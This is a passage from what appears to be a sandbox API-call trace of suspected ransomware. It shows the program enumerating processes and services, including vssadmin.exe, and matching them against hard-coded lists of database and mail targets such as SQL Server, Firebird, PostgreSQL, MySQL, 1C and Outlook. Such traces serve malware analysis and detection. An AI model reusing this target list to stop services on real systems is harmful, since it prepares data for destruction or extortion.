hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x660, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0258.054] lstrlenW (lpString="vssadmin.exe") returned 12 [0258.054] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x660, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0258.054] CloseHandle (hObject=0x2d0) returned 1 [0258.054] Sleep (dwMilliseconds=0x1f4) [0258.766] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4575f88 [0258.791] EnumServicesStatusExW (in: hSCManager=0x4575f88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0258.791] GetLastError () returned 0xea [0258.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xcec) returned 0x5954f8 [0258.791] EnumServicesStatusExW (in: hSCManager=0x4575f88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5954f8, cbBufSize=0xcec, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5954f8, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0258.792] CloseServiceHandle (hSCObject=0x4575f88) returned 1 [0258.792] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0258.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0258.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0258.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0258.792] lstrlenW (lpString="AudioSrv") returned 8 [0258.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0258.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0258.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0258.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0258.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0258.792] lstrlenW (lpString="BFE") returned 3 [0258.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0258.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0258.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0258.792] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0258.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0258.792] lstrlenW (lpString="CryptSvc") returned 8 [0258.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0258.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0258.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0258.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0258.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0258.792] lstrlenW (lpString="CscService") returned 10 [0258.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0258.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0258.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0258.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0258.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0258.793] lstrlenW (lpString="DcomLaunch") returned 10 [0258.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0258.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0258.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0258.793] lstrlenW (lpString="Dhcp") returned 4 [0258.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0258.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0258.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0258.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0258.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0258.793] lstrlenW (lpString="Dnscache") returned 8 [0258.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0258.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0258.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0258.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0258.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0258.793] lstrlenW (lpString="DPS") returned 3 [0258.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0258.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0258.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0258.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0258.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0258.794] lstrlenW (lpString="eventlog") returned 8 [0258.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0258.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0258.794] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0258.794] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0258.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0258.794] lstrlenW (lpString="EventSystem") returned 11 [0258.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0258.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0258.794] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0258.794] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0258.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0258.794] lstrlenW (lpString="gpsvc") returned 5 [0258.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0258.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0258.794] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0258.794] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0258.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0258.794] lstrlenW (lpString="LanmanWorkstation") returned 17 [0258.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.794] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0258.794] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0258.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0258.794] lstrlenW (lpString="lmhosts") returned 7 [0258.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0258.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0258.795] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0258.795] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0258.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0258.795] lstrlenW (lpString="MMCSS") returned 5 [0258.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0258.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0258.795] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0258.795] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0258.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0258.795] lstrlenW (lpString="MpsSvc") returned 6 [0258.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0258.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0258.795] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0258.795] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0258.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0258.795] lstrlenW (lpString="NlaSvc") returned 6 [0258.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0258.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0258.795] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0258.795] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0258.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0258.795] lstrlenW (lpString="nsi") returned 3 [0258.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0258.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0258.795] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0258.795] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0258.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0258.795] lstrlenW (lpString="PcaSvc") returned 6 [0258.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0258.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0258.795] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0258.795] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0258.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0258.796] lstrlenW (lpString="PlugPlay") returned 8 [0258.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0258.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0258.796] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0258.796] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0258.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0258.796] lstrlenW (lpString="Power") returned 5 [0258.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0258.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0258.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0258.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0258.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0258.796] lstrlenW (lpString="ProfSvc") returned 7 [0258.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0258.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0258.796] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0258.796] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0258.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0258.796] lstrlenW (lpString="RpcEptMapper") returned 12 [0258.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.796] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0258.796] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0258.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0258.796] lstrlenW (lpString="RpcSs") returned 5 [0258.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0258.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0258.796] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0258.796] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0258.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0258.796] lstrlenW (lpString="SamSs") returned 5 [0258.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0258.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0258.797] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0258.797] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0258.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0258.797] lstrlenW (lpString="Schedule") returned 8 [0258.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0258.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0258.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0258.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0258.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0258.797] lstrlenW (lpString="SENS") returned 4 [0258.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0258.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0258.797] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0258.797] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0258.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0258.797] lstrlenW (lpString="ShellHWDetection") returned 16 [0258.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.797] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0258.797] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0258.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0258.797] lstrlenW (lpString="Spooler") returned 7 [0258.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0258.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0258.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0258.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0258.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0258.797] lstrlenW (lpString="SysMain") returned 7 [0258.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0258.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0258.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0258.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0258.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0258.798] lstrlenW (lpString="Themes") returned 6 [0258.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0258.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0258.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0258.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0258.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0258.798] lstrlenW (lpString="UxSms") returned 5 [0258.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0258.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0258.798] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0258.798] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0258.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0258.799] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5954f8 | out: hHeap=0x540000) returned 1 [0258.799] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d4 [0258.800] Process32FirstW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.801] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.801] lstrlenW (lpString="System") returned 6 [0258.801] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0258.801] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0258.801] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0258.801] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0258.801] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0258.801] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0258.801] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0258.801] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.801] lstrlenW (lpString="smss.exe") returned 8 [0258.801] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0258.801] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0258.801] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0258.801] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0258.801] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0258.801] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0258.801] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0258.801] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.802] lstrlenW (lpString="csrss.exe") returned 9 [0258.802] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0258.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0258.802] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0258.802] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0258.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0258.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0258.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0258.802] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.802] lstrlenW (lpString="wininit.exe") returned 11 [0258.802] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0258.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0258.802] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0258.802] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0258.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0258.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0258.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0258.802] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.803] lstrlenW (lpString="csrss.exe") returned 9 [0258.803] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0258.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0258.803] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0258.803] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0258.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0258.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0258.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0258.803] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.803] lstrlenW (lpString="winlogon.exe") returned 12 [0258.803] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0258.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0258.803] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0258.803] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0258.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0258.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0258.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0258.804] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.804] lstrlenW (lpString="services.exe") returned 12 [0258.804] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0258.804] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0258.804] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0258.804] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0258.804] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0258.804] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0258.804] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0258.804] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.804] lstrlenW (lpString="lsass.exe") returned 9 [0258.804] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0258.804] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0258.804] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0258.804] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0258.804] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0258.804] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0258.804] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0258.804] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0258.805] lstrlenW (lpString="lsm.exe") returned 7 [0258.805] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0258.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0258.805] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0258.805] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0258.805] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0258.805] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0258.805] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0258.805] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.805] lstrlenW (lpString="svchost.exe") returned 11 [0258.805] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.805] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.805] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.805] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.806] Process32NextW (in: hSnapshot=0x2d4, 